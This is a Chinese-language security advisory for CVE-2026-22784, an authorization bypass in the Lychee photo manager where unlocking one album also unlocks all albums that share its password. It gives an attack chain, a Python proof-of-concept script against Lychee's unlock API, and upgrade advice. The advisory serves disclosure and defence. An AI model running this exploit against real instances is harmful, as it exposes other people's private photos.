IPBUF安全漏洞报告
English
CVE-2026-22784 CVSS 4.3 中危

CVE-2026-22784: Lychee相册密码解锁授权绕过漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22784
漏洞类型
授权绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Lychee (开源照片管理工具)

相关标签

授权绕过访问控制Lychee照片管理密码绕过CVE-2026-22784

漏洞概述

Lychee是一款免费开源的照片管理工具,在7.1.0之前的版本中存在严重的授权绕过漏洞。该漏洞位于相册密码解锁功能模块,当用户尝试解锁一个受密码保护的公共相册时,系统存在设计缺陷,会自动将该密码应用于所有共享相同密码的其他公共相册。这一机制导致攻击者可以通过猜测或获取某个相册密码,非法访问其他用户受密码保护的私人相册内容。由于密码相同的相册会被同时解锁,攻击者可以在未经授权的情况下浏览、下载其他用户的隐私照片。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响机密性。漏洞已于7.1.0版本中修复。

技术细节

漏洞根源在于Lychee的密码验证机制设计缺陷。当用户访问受密码保护的公共相册时,系统执行密码验证后,未正确隔离不同相册的访问状态。验证逻辑中存在一个关键错误:系统使用密码作为唯一标识符来解锁相册,而不是为每个相册独立维护访问状态。具体来说,当用户输入正确密码解锁相册A时,系统不仅解锁了相册A,还会遍历数据库中所有使用相同密码的相册,并将其标记为已解锁状态。这意味着攻击者只需要知道任意一个相册的密码,即可自动获得所有使用该密码相册的访问权限。攻击者可通过注册普通账户、浏览公共相册列表、尝试常见弱密码或通过社会工程学获取密码,然后利用该漏洞访问其他用户的私人照片。修复方案采用会话级别的访问控制,为每个相册独立维护访问令牌,而不是依赖共享密码进行批量解锁。

攻击链分析

STEP 1
信息收集
攻击者注册Lychee账户并登录,浏览公共相册列表,识别使用相同密码保护的多个相册
STEP 2
密码获取
攻击者通过猜测常见弱密码、使用社工手段或获取某个相册密码等方式获得目标密码
STEP 3
触发漏洞
攻击者使用获取的密码解锁自己拥有的任意一个使用该密码的相册
STEP 4
权限绕过
系统缺陷导致验证通过后,自动将所有使用相同密码的相册标记为已解锁状态
STEP 5
未授权访问
攻击者无需再次输入密码即可直接访问其他用户的受密码保护相册,浏览或下载私人照片

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22784 PoC - Lychee Authorization Bypass # Description: When unlocking one password-protected album, all albums sharing # the same password are automatically unlocked import requests import json TARGET_URL = "http://target-lychee-instance.com" ATTACKER_TOKEN = "attacker_session_token" ALBUM_ID_VICTIM = "victim_album_id_123" ALBUM_ID_ATTACKER = "attacker_album_id_456" SHARED_PASSWORD = "password123" def unlock_album(album_id, password): """Unlock a password-protected album""" url = f"{TARGET_URL}/api/Album::unlock" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } data = { "albumID": album_id, "password": password } response = requests.post(url, headers=headers, json=data) return response.json() def list_albums(): """List all accessible albums after unlocking""" url = f"{TARGET_URL}/api/Album::get" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(url, headers=headers) return response.json() # Step 1: Unlock attacker's own album with known password print("[*] Step 1: Unlocking attacker's album with password...") result = unlock_album(ALBUM_ID_ATTACKER, SHARED_PASSWORD) print(f"[+] Result: {result}") # Step 2: The vulnerability automatically unlocks ALL albums with same password # including victim's private album print("[*] Step 2: Checking if victim's album is now accessible...") albums = list_albums() for album in albums: if album['id'] == ALBUM_ID_VICTIM: print(f"[!] VULNERABLE: Victim's album '{album['title']}' is now accessible!") print(f"[!] Attacker can now view private photos in victim's album") break print("[*] Exploitation complete - Authorization bypass successful")

影响范围

Lychee < 7.1.0

防御指南

临时缓解措施
立即将Lychee升级到7.1.0版本。如果暂时无法升级,应避免使用相同密码保护多个相册,并使用足够复杂的随机密码。对于高敏感度的相册,考虑额外的访问控制措施或暂时限制其公开分享。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表